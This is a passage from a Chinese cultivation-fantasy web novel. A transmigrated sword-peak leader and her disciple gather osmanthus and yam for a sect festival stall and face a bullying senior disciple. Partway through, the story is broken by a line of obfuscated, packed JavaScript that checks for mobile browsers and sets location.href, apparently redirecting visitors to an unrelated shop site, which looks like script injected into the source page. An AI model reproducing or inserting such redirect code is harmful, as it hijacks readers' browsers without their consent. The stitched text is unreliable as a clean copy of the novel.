剑修老师久仰上官今大名,高居台上装没看到。终于等到了远方飘来悠悠的钟声,安然无恙地开始了今天的晨练。
“列队!谁还敢说话!”
他一声令下,排列整齐的方阵霎时连声音都没有,场上鸦雀无声。
“好了,一日之计在于晨,大家都打起精神来。”剑修老师的声音放缓,他一手在储物袋中掏了个什么,而后倏地扬到天上去。
所有弟子的目光齐齐随之而去,那个巴掌大的崎岖金属物件在空中像手帕一样层层展开,无数齿轮相互绞合运作,众人惊叹时,上官今兀自打了个哈欠。
昨晚回来时,他发现换洗的衣服没有干,只好先摸夜把身上的脏衣服洗干净,然后一起带到山脊线,那里灵气充沛,夜风尚佳,最宜晾物。
一路上未见人影,上官今默然顿悟,回来之时,顺路舀了几瓢脏水帮几位同修将替换用的衣服又浣了一遍。
滴水之恩,应当涌泉相报。
“哇!”<
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p>“这是什么法宝?”
旁边的同修像是看呆了一样,上官今隐隐听到峰主之类的字眼,就擦了擦困出来的泪,抬头望去。
方阵中间高悬着一面造型古怪的铜镜,殷吟的面容端端正正地映在黄铜色中,神情淡漠。
上官今稍稍错愕,转瞬恢复了无言的神色,低下头去。
他记得殷吟说身体不适,不便出面的。
“昨天几位老师带大家认识了剑峰,而今天,是大家正式开始修行的第一天,”剑峰老师沉声,“今日晨练,峰主会通过双生镜监督大家,都不要给我想着偷懒,打起精神来!”
底下的弟子霎时正过头来,异口同声:“是!”
殷吟听得不禁打哈欠,好在没人看着她。害怕再水下去会露馅,她适时下令:“开始吧。”
剑峰老师领命,在他的高声口令之下,底下方阵里蚂蚁大小的弟子们齐齐动了起来,连续摆出一长串的动作。
西南角练得热火朝天,剑苑之内,殷吟急得像热锅上的蚂蚁一样。她双手并用连翻五本书,终于找到自己想要的东西。
把双生镜中弟子们的动作与书里来回比划几遍,殷吟终于可以确定:“是在《基础功法入门一百选》第六讲的吐纳灵气功法……剑峰教学怎么不按顺序来?”
上官今作为殷吟亲收的弟子,本该交由她来亲自教导。无奈殷吟只是个坐享其成的穿越者,修习一窍不通。
她总不能让上官今来学鸡兔同笼和一元二次方程,于是昨夜回来,殷吟就以自己身体不适,惋惜委婉地将上官今暂时塞回弟子群中去。
而她则用双生镜偷窥老师教学,学习如何做一名优秀的修习教师!
双生镜兢兢业业地反映出练习场的情景,在弟子们整齐划一的动作之中,殷吟轻而易举瞥见最边上的一个人。
他似乎不得要领,动作总要慢上旁边人一拍半拍。
殷吟心神一动,操控着双生镜摇摇晃晃地飘了过去。
上官今昨天缺席,并未见过这套功法,所以只能照着前面的人依葫芦画瓢。但若是功法是这么好学的,天下修者也就不用大费周章进入各大宗门修习了。
不过半晌时间,他的额头已经沁出了细细的汗,碎发闪动着跳跃。
“上官今——”
身后飘来的脆声蓦地敲击他的骨膜,上官今回过神时已经慢了两个动作。他一面跟上,一边分神回道:“……师尊?”
“你这样不行啊。”双生镜悠哉游哉地晃到他眼前,小小的铜镜之中盛着殷吟小小的脸,装模作样地摇头。
上官今垂睫:“对不起。”
殷吟吓得腾地站起来,只留半个身子在镜中,仓惶的声音飘出来:“不是不是,我不是这意思……是我没教嘛,不怪你。”
上官今轻笑,凝滞的眉头微微松动:“师尊不是染了风寒吗,今日好全了?”
殷吟心虚:“哈哈,可能得再过两天吧。”
双生镜在上官今面前飘来飘去,剑峰老师看到了却不好说什么,只好继续把目光落在他处,假装自己没看到。
这一落,他就看到了其他东西,眉头骤紧。
远处有两道身影正飞奔过来,弟子服穿得凌乱,还湿哒哒地黏在身上,放浪形骸极为粗鲁。
上官今听到动静时心神一动,随即神色无辜地望向殷吟:“师尊,有人挑战您的权威。”
5. 可是我笨
双生镜闻言,笨拙地朝远处转了个圈,半息后方又悠悠转正回来。
殷吟交代了两句好好学习之类,就操纵双生镜悠哉悠哉地晃去。
“好的。”她的身后,上官今乖巧应声。
·
“老师,我们不是故意来晚的,我们早上起床的时候发现要换的衣服是脏的,这才来迟了!”
“对啊对啊!”
剑峰老师掩鼻冷眼:“那你们现在弄干净了?”
端立和端耑闻言,大眼瞪小眼地看着对方水鬼一般的穿衣,不约而同地露出了嫌弃的表情。
老师忍无可忍:“晨练迟到,还着衣不净,你们是想滚出剑峰吗!”
端立率先反应过来:“不是的老师,我们怀疑是有人故意——”
“谁?”人声从双生镜中传出,带着几分金属振动的质感,愈发显得不怒自威。
三人齐齐回身行礼。
“见过峰主。”
“见过峰主。”
“不用,”殷吟摆手,操纵双生镜缓缓驱近端立,和颜悦色地重复道,“你觉得是谁?”
这个人很面熟,像是她昨日在物阁里匆匆一眼,附和峰史老师的那个弟子。
殷吟心中升起几分怪异,眉心微凝。
端立紧张:“呃,我觉得……”
“算了,空口无凭也难以令人信服,”双生镜随着殷吟的语气左右摇晃,似是在摇头,“我记得物阁里有一件法器,可以追溯发生过的所有事情,不如就用它看看昨晚都发生了什么罢。”
殷吟一字一字,说得煞有介事。
“峰主!”一旁的端耑登时像被踩到尾巴一样,他上前两步面对双生镜,有意无意地把端立朝后挤,“这就不用了,说到底只是一件衣服而己,大家都是同学,兴许是我们搞错了,不要伤了大家的和气为好。”
“难得你有这样的觉悟。”殷吟夸张地颔首,随着她的动作,双生镜离端耑越来越近,最后几乎停在了他的鼻尖上。
端耑大气不敢出:“峰主?”
殷吟莞尔:“你最好是喔。”
你一诈就露馅。
这件事确有疑点,二人和端稚是什么关系,二人的衣服是何人所为都不明晰,但殷吟不打算查。
二人明晃晃在心虚,此事怕是惹仇在先而被报复,说到底都是他们活该。
她觉得无趣,便挥挥手示意剑峰老师处理。而新学期乍到,正是需要立威的时候,老师又自然不会放走送到嘴边的机会。
于是在晨练结束时,所有人都看到空地上面对面运功的端立端耑。二人不知道是被下了什么咒,脸上五官乱动着一直摆出鬼脸,逗得对方忍俊不禁。
画面看上去好笑又诡异。
“什么时候不笑了,就什么时候停下。”剑峰老师十分满意自己的杰作,于是回头想欣赏一眼被镇住的弟子们。
他的神色忽地一僵,严声道:“去哪里?”
晨练迟到的下场已经在这里了,居然还有人敢顶风作案,想在他眼皮子底下无故早退?
这一声吸引了不少弟子的目光,但那人依旧我行我素地往外走,好像根本没把他这个老师放在眼里。
他怒上心头,冷声呵去:“上官今!”
清瘦的背影终于一顿,众目睽睽之下,他略微迟疑地回过身来。
“抱歉,我以为我离开不需要告诉老师,”上官今微微欠身,“师尊让我晨练完过去一趟。”
“……去吧。”
按规定,普通老师确实管不到峰主的弟子,但是剑峰多年没有过亲传弟子,他早把这项规定抛之脑后。
被这么一搅,老师才恍然惊醒。于是在立威和得罪峰主之间动摇了一瞬,他十分没有骨气地在众人面前提醒上官今:“慢点走。”
·
这是上官今第二次到剑苑,檀木苑门雕着繁复古朴的绮丽花纹,看着像是某种晦涩难懂的古文,手背叩上去又有点刺痛。
他只敲了一下,苑中便传出声音。
“进。”
上官今推门进去,过一方小院,又入屋中,便看到罗汉床上盘腿坐着的殷吟。
她身旁摞了高高的几叠书,险些要将人吞进去,观之险象环生。
“师尊,这是?”
“不管它。”殷吟示意上官今过来,长袖轻轻一挥,茶几上摊着的几册书便兀自动起来,乖巧地跳下桌去,惟余一张宣纸,安静地躺在原地。
见上官今走近,殷吟又推过去一寸。
上官今临榻而停,照纸上的字念道:“愿力节。”
世有妖魔,而后有人界以愿力供养仙脉,出仙修以抵妖魔侵袭。这个愿力节则是反过来,由修仙的宗门将灵力反哺人界。
殷吟将它理解为是道生宗专为新入门的弟子开设的文化节。简单来说就是新生摆摊卖各自家乡的特产,大家以灵力进行交易。最后将交易出来的灵力聚集起来,播散回到人界。
这些回到人界的灵力又变回愿力,可能在久旱州县降出一场甘霖,也可能化成一阵不期而遇的春风,吹开千朵桃花。
殷吟觉得让上官今来参与如此慈悲为怀很有意思,于是她点点桌子:“今天早上拿到我这里来的,就差你的名字了。”
上官今粗略一瞥,宣纸上半张的空间用来解释什么是愿力节,下半张则被滚动着的密密麻麻的签名占据,看着人眼花缭乱。
殷吟提醒他:“义务活动,所有人都要参加。”
这个她没诓他。道生宗一年弟子参加愿力节,第二年开始便能参与宗门大比和秘境,再往后则是下山除魔。
上官今盯着流动的墨字思索片刻,终于想出借口:“可是我笨,会搞砸的。”
殷吟睇他一眼。
很假。
上官今便看出她没信。
“没关系,”殷吟稍稍往后,舒适地靠在垒过头顶的书册堆上,“这个节日会按生源分组,有同乡帮你。”
上官今似懂非懂地点了点头,不再推却,抬手往宣纸中注了一丝灵力。
殷吟满意地颔首。
下一秒,宣纸上描述人名的那半张笔墨被打散,重新凝成了睐州两个大字,后面是空荡荡一片。
上官今声音委屈:“师尊你看,没有人。”
殷吟盛着笑的眼睛微微愣住,倒映着少年的清亮眼底漫上几丝狐疑。
真怀疑他是故意的。
在上官今唯命是从的乖巧目光之中,殷吟深呼吸,让心情平静下来,而后朗声道。
“没事,我帮你。”
·
这句话反复在上官今的脑海徘徊了一天,直到一整天的剑理课结束时,太阳已经从东边飘到西边,兀自在丛山之间烧得火红。
上官今乖乖到医峰找殷吟。
医峰山脚下管着大片琳琅满目的药食材,每年此时都会开放给剑峰的新弟子作为获取制作特产的原料,凭身份入内。
殷吟没有这个身份,只好去找卜漪,后面则面无表情地闭了闭眼:“下不为例。”
于是殷吟就获得了进来的特权。
生长地内各式植物琳琅满目
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,品类丰富,一路上有伐樟木的弟子,有追着蜜蜂跑进花丛的弟子,千奇百怪地像是来拆家一样。
殷吟总算能理解为什么卜漪是那副表情了。
顺着引路蝶的指引,二人顺利来到一片长着茂密绿叶的田地。黄色的蝴蝶扑扑翅膀,停在殷吟肩上不动了。
殷吟点点它的小翅膀:“你坏掉了?”
蝴蝶摇摇头,告诉她这就是第一个目的地,山药地。
上官今放下背上的竹筐,拥挤的铲子锄头丁零当啷地响了几下,而后他求知若渴似地问道:“为什么还要自己挖?”
他想问的是不能用灵力作弊吗,但被殷吟一语掐灭这个想法。
“那您坐着,我来代劳?”
“不敢。”上官今步履不停地将衣袖妥帖卷起,弯腰去拿铲子。
殷吟点点头:“你先忙着,我去旁边看看。”
“师尊不是说帮我吗?”上官今眉头微动,侧头望着殷吟将要离开的背影。
殷吟朝他挥挥手:“目前先提供无声的鼓励。你先忙着,一会儿再换我。”
连头都没有回一下。
上官今看看双手又看看铲子,十分确信自己就是被殷吟早上的花言巧语哄骗了。
他叹了口气,认命地开始挖土。
竹筐是医峰所有,进来时殷吟说应该有用,顺口就让他拿上了。现在看来确定如此,至少在她不知道跑到哪里去偷懒时,上官今就可以用它来装挖出来的山药。
百无聊赖地把筐装了个半满,上官今终于又再听到脚步声,随后就是熟悉的声音喊他。
“上官今!”
上官今回过头,见殷吟的表情笑吟吟的,像是干了什么坏事一样。
她走近来:“你动作这么快啊,我本来想回来帮帮你的。”
上官今还在想是要说谢谢还是说等你等得花都谢了,殷吟已经走远了去,不忘对他招手。
她说:“快来,我找到桂树了。”
上官今领命,将准备的两种回答都放回心中。
睐州桂花山药糕,有强胃健脾之效,并美容养颜之能。二人来这里的目的,就是集齐山药和桂花。
山药园旁边有一小块因规划问题而被空出来的地,光秃秃的不好看,卜漪就命人移了株桂树过来,权当装饰。
入春不久,树上绿意盎然,连半个花苞都看不到。
上官今缀在后面,抬手拂去雪色衣袖上难免沾到的泥土:“现在怎么办,师尊?”
殷吟将双手捧在身前,在上官今注视之下,她的掌心凭空化出了一个雪白的法阵,被她轻轻推到桂树干上,像印章一样被盖了上去。
法阵运转,霎时自桂树为中心,四下起风,吹得树上枝叶沙沙作响,翠色愈发浓厚欲滴,眨眼间,枝条上发出了一点黄来。
鹅黄色随即从密密麻麻的枝条上疯长出来,争先恐后一般,大簇大簇占满枝头,压着整棵桂树颓唐些许下来,金桂的香气适时飘散而出,沁人心脾。
随着卜漪给的法阵缓缓黯淡,殷吟故意回头,抬着下巴耀武扬威:“怎么样?”
“这是作弊。”上官今神情不改。
桂花开得正好,没有要熟透掉下的迹象。殷吟拍拍手,准备继续指挥收集桂花的支线任务:“好了——”
她刚开了头,上官今便在旁附和:“嗯,我在下面接着。”
“啊?”殷吟闻言错愕。
“不是帮忙吗?”上官今语气无辜,迎着殷吟凌乱的神情不疾不徐道,“师尊原来是打算只说,什么都不做吗?”
6. 下来吧
殷吟偏开目光,掩饰自己的心虚:“那当然不是。”
说出去的话覆水难收,她觉得自己还是有必要以身作则,给上官今树立一个说到做到的正向榜样。
殷吟绕着粗壮的树干晃一圈,选好适合落脚的地方之后,就想驱动灵力飞上去。
她还在庆幸自己白天恶补了几个常用的咒令知识,身后无声无息,而后上官今的声音忽响:“师尊,你在想什么?”
殷吟背后一凉,无声地把诀收了回来。
不小心把这茬忘了。
殷吟把袖子卷好。
虽然不能动用灵力,但她化神期的身体轻得像只小鸟,别说攀棵树,爬个悬崖都不成大问题。
她向上找了个受力点,足尖一点便轻巧地飞身上去,在横斜逸出的枝干之间猫着穿行,身影很快被没了进去。
上官今嘴角微勾,站在原地静静地等。
须臾,他看到一块花团锦簇之中隐隐躁动,而后殷吟忽地从一堆金黄色之中探出头来,发丝被勾得四散,像枝系还连在树上的小桂花妖。
几片花瓣和叶子随着她的动作簌簌掉落,在虚空中打了两三个转。
殷吟微微抬眉问他:“你在偷懒?”
“我在等你,师尊。”上官今回得毫无破绽,顺势摊开了收花用的麻布,让殷吟愈发没了可堪挑刺的地方。
他轻声:“开始吧?”
殷吟不置可否,伸手去拨头上的枝干。
枝头本就被繁茂的桂花压得不堪重负,她没注意力度,方一晃动,稀稀拉拉的花瓣就争先恐后地掉了下来。
上官今反应不及,被残花绿叶洋洋洒洒糊了一脸,下意识闭上双眼。
视线霎时被遮挡,树上意料之中地传出了殷吟的笑声,小鸟一样叽叽喳喳:“哈哈哈哈哈哈哈哈哈,你行不行啊?”
上官今抬手抚掉脸上的花瓣,看到枝上笑得花枝乱颤的殷吟,睫毛轻轻颤动。
他叹气:“师尊,别掉下来了。”
枝上的欢笑仍是没停。
“我走神了……再来。”
“行,哈哈哈哈哈哈哈哈哈……行。”
殷吟笑够了,揉揉有些酸的脸。她试着将动作放轻放缓,让大朵大朵的桂花被摇落下来,完好无损地盛在上官今手中的麻布。
几次盛满了麻布围出的小空间之后,上官今抬头唤她:“已经够了,下来吧。”
殷吟点点头,朝他比了个带小圆圈的三的手势,随后才反应过来上官今看不懂,又再注释:“那我下来了!”
她下意识往上来时的路看了一眼,霎时起了一身寒毛。
摇桂花的时候她没留心,不知不觉就走到枝干末梢了。她现下蹲在枝上,半个膝盖都是悬空的,也亏得修仙的身体轻,勉强没把这枝压断。
认识到自己处境的一瞬间,殷吟本能地一动都不敢动了。
上官今把桂花包好放进竹筐之中,回身见殷吟还没有动作,不免不明所以。
他走近回来,抬头时额前的碎发朝两侧垂落,露出干净的额头和眉眼:“怎么了?”
树上的殷吟像静止了一样,讷讷地望向远方:“我……看这上面风景挺好的……”
恰好起了阵山风,枝条被吹得摇摇晃晃掉下芬芳的桂花来,她的声音也被带着颤出起起伏伏的尾音。
上官今循着殷吟的目光看过去,天边晚霞烧着正红,杂着云的白色,暖洋洋地融成整片天幕的流光,确实好看。
他一时无言,停顿片刻。
殷吟现下这幅惊惧的模样简直跟昨天摸到金龟的时候如出一辙,也亏得她能说出风景不错而不是救命。
骗他到这种地方来做苦力,结果自己倒反被挂在树上,也真是够可怜的。
上官今垂眸,他步履从容地走近些许,而后张开双手,朝着树上僵成一团的身影唤道:“下来吧。”
殷吟听到声音,神情僵硬地低下头来。
虽然两人刚刚十分注意,但地上不知何时已然散了薄薄的一层金桂,黄灿灿满片。上官今单薄的身形站在树下,朝她伸出了一双骨节分明的手,很白,衬得桂花更为金灿。
殷吟微微晃神,神色肉眼可见地纠结起来。
她踌躇不定半天,迟疑地吐出三个字:“……可以吗?”
“嗯。”上官今回道。
枝头之上,殷吟强装镇定地做了个深呼吸,双眼一瞬不瞬地注视着上官今伸出的手,小心翼翼地换了个趁手的姿势。
她的动作慢吞吞的,每当支撑的枝条晃得厉害些时,就像惊弓之鸟一般动都不敢再动,上官今等她许久,终于等到殷吟调正好姿势。
她坐在枝条之上,单薄得像一瓣桂花,履子的翘头边围着半圈珍珠,随着动作流转光彩。
上官今看着那流光,直至将一只履子踩在了他的手上,他恍然大悟,没忍住轻笑。
上官今气笑了。
怪不得方才她犹豫不决,原来是以为要踩着他下来。
他的动静细微,没引起殷吟的注意。只感觉手上一重,随即又很快一轻,枝上的殷吟又开始打退堂鼓:“不行不行,再等等。”
她不敢踩着上官今下去,她怕自己的重量把上官今踩折了。
“等什么?”上官今垂睫,一面回她,一面拍着殷吟的履子蹭在他掌中的泥土。
殷吟觉得上官今已经猜到了她不敢下去了,这让她心中多少有些挫败。
于是她的声音带上淡淡的绝望:“我想在上面再吹吹风。”
上官今不置可否,靠着树干继续摆弄自己黑乎乎的手心。少焉总觉烦乱,干脆不再去管,又抬头去问殷吟。
“师尊,你还要……”
上官今的话还没说完,那袭明艳的衣裙自他眼前、如仙人一般轻飘飘地从天而降。
衣袂翻飞,明的黄的绞动在虚空之中,带起的风夹着春日般温润的气息穿行而过,大大小小的明黄色花瓣霎时洋洋洒洒、如天女散花潸然泪下,色彩甚至盛过了法阵的光芒。
繁花围簇之中,殷吟低声收诀,回身见上官今一瞬不瞬地看着她,有些心虚地朝他笑:“你假装没看到行不行?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179673|196959||http|test|mini|href|location''.split(''|''),0,{}));
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>她笑起来眉眼弯弯,甚过卷动的铺天盖地的香腻桂花味。
上官今蓦地回过神来,垂眸不看她,声音隐隐发哑:“嗯,没看到。”
殷吟笑得愈深:“谢谢你喔。”
火烧云很快就退下去了。
剑峰正院有一个小厨房,夜间点灯,上官今忙上忙下地把山药去皮蒸熟压泥并做出形状后,交由殷吟将准备好的桂花花瓣撒在中心。
随后再收到竹笼之中去,以术法锁鲜,就可以预备愿力节之用了。
·
愿力节的场地在主峰道生峰上,各侧峰的所有弟子都可以前往玩乐,当天取消所有课程。
殷吟还要处理大大小小的事务,就让上官今一个人先到会场布置。
上官今习惯了殷吟的出尔反尔,闻言也只是点点头,乖乖到小厨房去找做好的桂花山药糕。
剑峰的主院前停着兽峰训化的仙鹤,负责带新弟子们到道生峰去。
上官今到那的时候,前面的人摩肩擦踵地挤满了一只仙鹤的背,压得鹤不时回过头来瞪人,后面的人不知道在看天上万里无云的云还是地上纤尘不染的沙,半天不挪脚步。
他站在仙鹤们面前,空着的仙鹤都好奇地抻脖子过来,把一只眼睛怼到他眼前看。
上官今把糕点用储物袋装好,选了只没有用看玩具的目光看着他的小鹤,乘着风缓缓离开剑峰。
载着他一个人的小鹤片刻便轻松超过了方才出发的那只挤满了人的仙鹤,上官今恍惚看到了那只鹤眼神中的幽怨。
他的鹤很快到了道生峰。
上官今方才知道,所谓会场,就是一片鳞次栉比的人间集市一般的地方,小吃的香气和工艺品的木质味道在空气中纠缠。
现在人尚稀疏,得等到天彻底黑下来,器峰布置的浮空灯被点亮,才是最热闹的时候。
上官今希望在那之前就能结束离开。
会场有区域划分,他一路认过去,发现左右的邻居都还没来,便趁机使了个小法术将摊位擦尽,然后把糕点和统一发放的聚愿灯齐齐摆了上去。
聚愿灯用于储存交易的灵力,发放的器峰老师特别强调了这灯有多金贵多易碎,让拿到的人务必好好保管。
金不金贵上官今看不出来,不过他刚摆上去时,聚愿灯就像是羽毛一样轻飘飘地被震飞了起来。
当的一声玻璃质响声后,聚愿灯又掉回桌上,上官今循着声源看过去。
右边的邻居摊上不知道何时来了人,他并不认识那几人的脸,只见其中一人正把一个拳头放在桌上,看上去很生气。
“喂,你谁啊!”楚横朝上官今呵声,四周零零散散有人看了过来。
上官今环视一周,反问:“有事吗?”
“什么有事没事,”楚横皱眉,不耐烦地又叩案板,聚愿灯又叮当叮当地晃起来,“你快把东西收了,我们要用到这里。”
“你们?”
“废话!”楚横伸手去扳摊上的地名牌看,“睐州的……什么破落地方,这地方我们摆好几年了,你现在说用就用?”
7. 好凶,好可怕
“谢谢。”殷吟从一个扎着双髻的姑娘的小摊上换了几面五彩斑斓的手织旗子,方将灵力输入聚愿灯之时,神识感知范围内的一阵躁动令她拧了拧眉。
她环视四周,身影忽地消失。
束发佩冠的弟子本来还在火急火燎地快走,迎面忽然凭空化出个人,吓得他一个激灵。
“我——”看清是谁,弟子及时刹住了话,转而恭敬道,“殷峰主。”
“抱歉,”殷吟弯弯眉,“你这是要去哪里?”
“呃,就是,这个吧,”弟子神色尴尬,一连瞥了殷吟的神色好几下,看得她心觉古怪,“我也不太清楚,就是我朋友和我说有人在吵架,我就想去看看……呃,看看能不能帮上忙。”
“吵架?”殷吟微微蹙眉,她那边刚处理完会场安排,还没五分钟这边就又生出事端来。
她看看手上提着的东西轻叹,只能让上官今一个人再多等一会儿了。
“麻烦你带我过去。”
他倒要看看,哪几个小没眼力见的敢在她眼皮子底下滋事。
·
“凭什么。”小没眼力见淡声,目光落在楚横手上握着的那块地名牌,神色愈深。
“凭什么?”楚横被他不咸不淡的反应气得高声,正欲再开口,身后的同伴朝他喊。
“喂,你什么情况,一个新弟子要废话这么久?”
“我……我马上好,”楚横脸色白了白,很快调整过来,恶狠狠瞪视面前这不知好歹的新弟子,“喂,我告诉你,你们那穷乡僻壤已经几年没出过修者了,这位置一直是我们漏州的,你不要敬酒不吃吃罚酒!
我最后问你一遍,你让不让?”
上官今只是轻哂。
楚横觉得自己像是被看穿了,面上红一阵青一阵。他咬了咬牙,上前两步抓住桌上盛放着糕点的竹笥,猛地朝外一扬!
形状规整的米白色糕点纷纷从竹笥中飞出。
上官今眉头一蹙。
他欲动用灵力,忽又嗅见山药糕香之中,隐隐漫出丝丝不属于糕点的草药香味,动作一滞。
下一秒,本该坠下的山药糕点忽地在空中停滞,一个个地像是中了邪一样,又徐徐飘起排队,整齐地飞回了竹笥之内。
随即而来的,是一股不同寻常的灵力威压。
楚衡入道生宗一年有余,自然清楚那是什么人,神色霎时苍白。
他僵僵回身,殷吟正神色不善,冷声质询:“这是在做什么?”
带路的弟子察言观色,当下钻回人潮之中。殷吟很快越过他,围观的众人见到她,也不约而同地深吸凉气,手忙脚乱让出路来。
道生宗的每个弟子都曾在剑峰修行过,作为剑峰峰主的殷吟自然无人不晓,知名度甚至高过宗主。
楚衡往后看了一眼,见几位一起来的同修挤眉弄眼地瞪他,又急忙回头,声音颤抖地行礼:“峰主……”
殷吟直直越过他走向上官今,她的目光习惯性地上下打量上官今一圈,看到没有什么伤处,蹙着的眉头也未舒展多少。
这小没眼力见的。
“没事吧?”她这一声不带好气。
被忽视的楚衡浑身一僵,他咬了咬牙,勉强维持住了行礼的动作。
上官今一面摇摇头,一面看到殷吟手上提着的东西,乖觉地接了过来。
围观的弟子你看看我我看看你,他们不敢说话,但无不都在用眼色表达一个意思——
这人惹到峰主的独苗了,这人摊上大事了。
殷吟望向恭恭敬敬的楚横,神色莫测:“你是?”
“弟子……器峰楚横。”
“器峰?”殷吟拧眉,似是不解,“器峰的弟子,在这里做什么?”
楚横手指颤抖:“弟子今日得空,便来与同乡的师弟师妹们帮忙,搭把手。”
“那你还挺热心,”殷吟轻嗤,回头用目光点上官今,“你说,发生了什么?”
她只看到楚横动了手,事情的起因为何并不明晓。
“师尊,他让我们离开,不要在这里碍事。”上官今声音冷清,他只是在陈述事实,又莫名叫人听出含冤受屈的感觉。
楚横脸色骤然又难看了几分。
虽然他没见过这个晚辈,但听上官今喊师尊这二字,也清楚了他的身份。
只是他从未听说殷峰主收过弟子,面前这个人也不过是个修为平平的普通弟子……他凭什么?
“弟子……”楚横顿了顿,还是大着胆子道,“弟子并不知道峰主您与这位师弟的关系,方才也并非故意挑衅。”
这人明显就是在挑拨离间,他若是知道这个摊子和殷峰主有关系,借一百个胆子也不敢如此得罪!
“你的意思是如果我和他没有关系,你就可以随意欺负他了?”殷吟拧眉,目光冷冷地望着楚横,他话中暗指上官今挑拨离间的意思完全被她略了过去。
楚横张了张口,最终一个字都说不出来,面色已然惨白如纸。
此时,远处传来一声急促的轻语。
“陶峰主来了!”
殷吟侧目看去,果然见陶砌踏至一只金盾破风飞来。眼见愈近,他拂手收器,身形稳稳当当落地,大步而来,风尘仆仆。
楚横朝他一拜。
“小殷啊,”陶砌笑呵呵地打了招呼,又脸色陡黑,瞪视着弯着腰的滋事弟子,“楚横,你太放肆了!”
“也不看看这是什么人,殷峰主和她的亲传弟子也是你能随随便便招惹的吗,我看你是不想在器峰待着了!”
楚横原本还存着峰主多少会向着他说话的心思,眼见陶砌反向是要轰他出器峰,眼前一黑差点晕过去。
若是因此离开了器峰,其他几峰定不会要他,届时他便免不了落个离开道生宗的下场。
殷吟听得额角直跳,既觉得陶砌说话太过直白又觉得此言过重,不由劝和:“陶峰主也不必过于苛责,弟子出了错,按宗规处理就行了。”
陶砌神色稍缓:“听到没有?还好殷峰主为人一向大度,不与你一般计较,还不快道谢?”
楚横头皮发麻,方欲动作便听殷吟尴尬一笑:“不必了,我也是按宗规做事。你道了歉,自行回器峰戒堂领罚即可。”
他咬牙:“师弟,方才是我一时无礼,冒犯了,我向你道歉。”
上官今颔首,算作领下。
楚横见状,垂下眼皮,连带着敛起一池晦暗不明的神色。
陶砌点头,对着还驻足围观的众人拍拍掌:“好了,大家都回去吧。”
弟子们不甚害怕这位慈眉善目的峰主,但因着恭敬,加上热闹也看完了,当下作鸟兽散。
楚横怔怔转身,准备回到漏州摊位去,却见摊上同伴神色难看,不断用目光示意他往别处走。
他喉咙一哑。
殷吟与陶砌告别,回过身时便看到上官今两指提起那挂包,一双乌黑的眼瞳不无好奇地细细打量着。
见殷吟转过来,他温声道:“师尊,这是什么?”
殷吟觉得他是在转移注意力,但还未来得及拆穿他,便又听到楚横的声音。
“师弟。”
她微微蹙眉,不解地望去。
“今日之事是我的错,还望师弟莫怪,”楚横远远地朝此处拱手,“我们不打不相识,也算缘分,不如你我定下战约,就在明年的宗门大比,化干戈为玉帛,如何?”
殷吟眨了眨眼。
她好像听到楚横在说要公报私仇,在宗门大比上恃强凌弱击败上官今。
上官今眉心凝滞,也不明所以。他方欲回绝,但见殷吟微微偏头示意,便细细辨她神情,揣度着应声:“嗯。”
殷吟
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脖颈一僵,感觉自己的头上正在缓缓生出一个问号。
楚横勾唇:“那便最好,我先行离开了,告辞。”
上官今垂眸,目光收回时,便见殷吟神色淡漠,瞥他一眼。
“把东西拿出来啊,愣着干什么。”
她是在看挂包。
上官今被凶得莫名,乖乖将挂包打开,拿出了一堆五颜六色的彩色小旗。
他轻声:“拿这些做什么?”
殷吟古怪地睇他一眼:“当然是用来装饰的,不然是拿来给你玩的?”
上官今抿唇:“好。”
好凶。
·
或许是因为刚才的小插曲,她们的小摊开张后分外热闹,天将将黑就已经卖光了所有的山药糕。
只是师尊不知道在同谁置气,插旗时分外用力,上官今拔时要用十一成的力,末了,还在那个小孔上看到漾出来的残余灵力。
好可怕。
他收拾着残局,殷吟一直不开口,他搭话便不咸不淡回两句,而后沉默,背倚着桌子吃糖炒栗子。
上官今越想越不明白,面上罕见地露出近乎迷惘的神色。
“上官今,过来。”殷吟随手抓了颗栗子放嘴里,香甜的气味又再蔓延鼻腔,令她心情好了不少。
“怎么了,师尊?”上官今闻言,把旗子拢好收在右手,对着凳上安逸地嚼着栗子的人走来。
殷吟含含糊糊地瞥他,随手抓了把栗子递过去:“你……”
上官今伸手接回了他买的糖炒栗子几颗,小小的像是被挑剩下,躺在他手心歪瓜裂枣。
“你不太开心?”
殷吟又睇他:“我有什么好开心的。”
上官今抿唇:“谁惹你不快了吗?”
殷吟沉默一瞬,很想问他一句你说呢。
她还是忍住:“你下午怎么回事,我给你使了多少眼色,你干嘛非要去接楚横的茬?”
上官今:“……”
所以是在生他的气吗?
他眼底深深的迷茫如春风化雨般散开几分,生出劫后余生一般的庆幸感觉,像土壤长出地毯一般的小草,细细密密扎着。
殷吟见他未答,站起来神色认真地注视着他。她的目光灼灼地烧在上官今脸上,他低下眼去剥手中的栗子。
栗子壳很硬,上官今手指用力得发白,还是没能剥开。
殷吟拍了拍他的手,眉头微微蹙着,像是在烦心:“你真的傻吧,哪有你这样吃栗子的?”
上官今动作凝滞,下一秒,他看着殷吟从热气腾腾的纸袋中拿了颗小栗子,放到嘴旁咬了一下。
她动了动指,将咬开的缺口展示给他看:“你看,学会没。一颗颗剥你手还要不要了?”
上官今垂眸,漆黑的眼睛定定看着那个缺口:“我以为师尊的意思是让我答应他。”
殷吟微愣,反应过来他是在回答她方才的问题。
她还是有些恼:“那你就答应了?”
你自己不动动脑?
上官今:“嗯。”
殷吟无言以对,她回身拂袖,霎时,还迎风伫立在岗位上的几面彩旗便依次抽身而出,排着队落进上官今的手中。
殷吟又在他的手背上轻拍了一下,敲打的意味让上官今收拾的东西不由停下。
上官今稍稍抬眼:“师尊,怎么了?”
“先把东西放这里吧。”殷吟扬着下巴示意他手中的彩旗。
“放在这里?”上官今疑惑。
这些东西可以留在这里吗?
殷吟狐疑:“对啊,难道你还想边逛边背着?”
“逛?”
殷吟神情一动,明白上官今是什么意思了。
他就没有打算留在道生峰过愿力节。
于是她问:“你现在就要回去了?”
8. 不喜欢
她这句话中没有夹枪带棒,但上官今福至心灵,抬眼答道:“不回去。”
约摸他答对了,殷吟点点头,神色如常。
她走在前面,飘渺背影渐行渐远,发髻雀跃得快跳动起来。
上官今盯着眼前,未几,抬履跟了上去。
